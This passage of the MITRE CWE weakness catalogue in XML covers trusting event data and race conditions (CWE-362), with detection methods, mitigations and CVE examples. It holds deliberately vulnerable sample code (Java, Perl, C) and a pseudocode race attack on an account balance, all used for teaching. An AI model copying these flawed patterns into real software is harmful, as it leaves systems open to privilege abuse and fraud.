            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Never trust or rely any of the information in an Event for security.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example code prints out secret information when an authorized user activates a button:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void actionPerformed(ActionEvent e) {<xhtml:div style="margin-left:1em;">if (e.getSource() == button) {<xhtml:div style="margin-left:1em;">System.out.println("print out secret information");</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Trust of system event data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP29</Entry_ID>
               <Entry_Name>Faulty endpoint authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="362" Name="Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.</Description>
         <Extended_Description>
            <xhtml:p>This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.</xhtml:p>
            <xhtml:p>A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.</xhtml:p>
            <xhtml:p>A race condition violates these properties, which are closely related:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.</xhtml:li>
                  <xhtml:li>Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.</xhtml:li>
               </xhtml:ul>
            <xhtml:p>A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).</xhtml:p>
            <xhtml:p>The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
            <Language Name="Java" Prevalence="Sometimes"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
			<Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Instability</Impact>
               <Note>When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Read Application Data</Impact>
               <Note>When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>White Box</Method>
               <Description>Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).</Description>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</xhtml:p>
                  <xhtml:p>Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.</xhtml:p>
                  <xhtml:p>Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.</xhtml:p>
               </Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use thread-safe capabilities such as the data access abstraction in Spring.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.</xhtml:p>
                  <xhtml:p>Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When using multithreading and operating on shared variables, only use thread-safe functions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$transfer_amount = GetTransferAmount();<xhtml:br/>$balance = GetBalanceFromDatabase();<xhtml:br/>
                     <xhtml:br/>if ($transfer_amount &lt; 0) {<xhtml:div style="margin-left:1em;">FatalError("Bad Transfer Amount");</xhtml:div>}<xhtml:br/>$newbalance = $balance - $transfer_amount;<xhtml:br/>if (($balance - $transfer_amount) &lt; 0) {<xhtml:div style="margin-left:1em;">FatalError("Insufficient Funds");</xhtml:div>}<xhtml:br/>SendNewBalanceToDatabase($newbalance);<xhtml:br/>NotifyUser("Transfer of $transfer_amount succeeded.");<xhtml:br/>NotifyUser("New balance: $newbalance");</xhtml:div>
               </Example_Code>
               <Body_Text>A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().</Body_Text>
               <Body_Text>Suppose the balance is initially 100.00. An attack could be constructed as follows:</Body_Text>
               <Example_Code Nature="Attack" Language="Other">
                  <xhtml:div>In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.<xhtml:br/>CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.<xhtml:br/>CALLER-1 makes a transfer request of 80.00.<xhtml:br/>PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00<xhtml:br/>PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().<xhtml:br/>Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.<xhtml:br/>CALLER-2 makes a transfer request of 1.00.<xhtml:br/>PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.<xhtml:br/>PROGRAM-2 determines the new balance as 99.00.<xhtml:br/>After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.<xhtml:br/>PROGRAM-2 sends a request to update the database, setting the balance to 99.00</xhtml:div>
               </Example_Code>
               <Body_Text>At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.</Body_Text>
               <Body_Text>To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-24">
               <Intro_Text>The following function attempts to acquire a lock in order to perform operations on a shared resource.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>pthread_mutex_lock(mutex);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.</Body_Text>
               <Body_Text>In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>int f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int result;<xhtml:br/>
                           <xhtml:br/>result = pthread_mutex_lock(mutex);<xhtml:br/>if (0 != result)<xhtml:div style="margin-left:1em;">return result;</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>return pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-132">
	       <Intro_Text>Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.</Intro_Text>
	       <Body_Text>Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29527</Reference>
               <Description>Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-1782</Reference>
               <Description>Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-1782</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-0920</Reference>
               <Description>Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-0920</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-6819</Reference>
               <Description>Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-6819</Link>
            </Observed_Example>
           <Observed_Example>
             <Reference>CVE-2019-18827</Reference>
             <Description>chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys</Description>
             <Link>https://www.cve.org/CVERecord?id=CVE-2019-18827</Link>
           </Observed_Example>
            <Observed_Example>
            <Reference>CVE-2019-1161</Reference>
            <Description>Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.</Description>
            <Link>https://www.cve.org/CVERecord?id=CVE-2019-1161</Link>
            </Observed_Example>
            <Observed_Example>
            <Reference>CVE-2015-1743</Reference>
            <Description>TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed</Description>
            <Link>https://www.cve.org/CVERecord?id=CVE-2015-1743</Link>
            </Observed_Example>
            <Observed_Example>
            <Reference>CVE-2014-8273</Reference>
            <Description>Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].</Description>
            <Link>https://www.cve.org/CVERecord?id=CVE-2014-8273</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5044</Reference>
               <Description>Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5044</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2958</Reference>
               <Description>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2958</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1570</Reference>
               <Description>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1570</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0058</Reference>
               <Description>Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0058</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0379</Reference>
               <Description>Race condition during initialization triggers a buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0379</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6599</Reference>
               <Description>Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6599</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6180</Reference>
               <Description>chain: race condition triggers NULL pointer dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6180</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5794</Reference>
               <Description>Race condition in library function could cause data to be sent to the wrong process.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5794</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3970</Reference>
               <Description>Race condition in file parser leads to heap corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3970</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5021</Reference>
               <Description>chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5021</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4895</Reference>
               <Description>chain: race condition for an argument value, possibly resulting in NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4895</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3547</Reference>
               <Description>chain: race condition might allow resource to be released before operating on it, leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3547</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5051</Reference>
               <Description>Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5051</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Race Conditions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA03-J</Entry_ID>
               <Entry_Name>Do not assume that a group of calls to independently atomic methods is atomic</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 13: Race Conditions.&#34; Page 205"/>
            <Reference External_Reference_ID="REF-349"/>
            <Reference External_Reference_ID="REF-350"/>
            <Reference External_Reference_ID="REF-351"/>
            <Reference External_Reference_ID="REF-352"/>
            <Reference External_Reference_ID="REF-353"/>
            <Reference External_Reference_ID="REF-354"/>
            <Reference External_Reference_ID="REF-355"/>
            <Reference External_Reference_ID="REF-356"/>
            <Reference External_Reference_ID="REF-357"/>
            <Reference External_Reference_ID="REF-76"/>
	    <Reference External_Reference_ID="REF-1237"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.</Note>
            <Note Type="Research Gap">Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.</Note>
            <Note Type="Research Gap">Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.</Note>
            <Note Type="Research Gap">From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
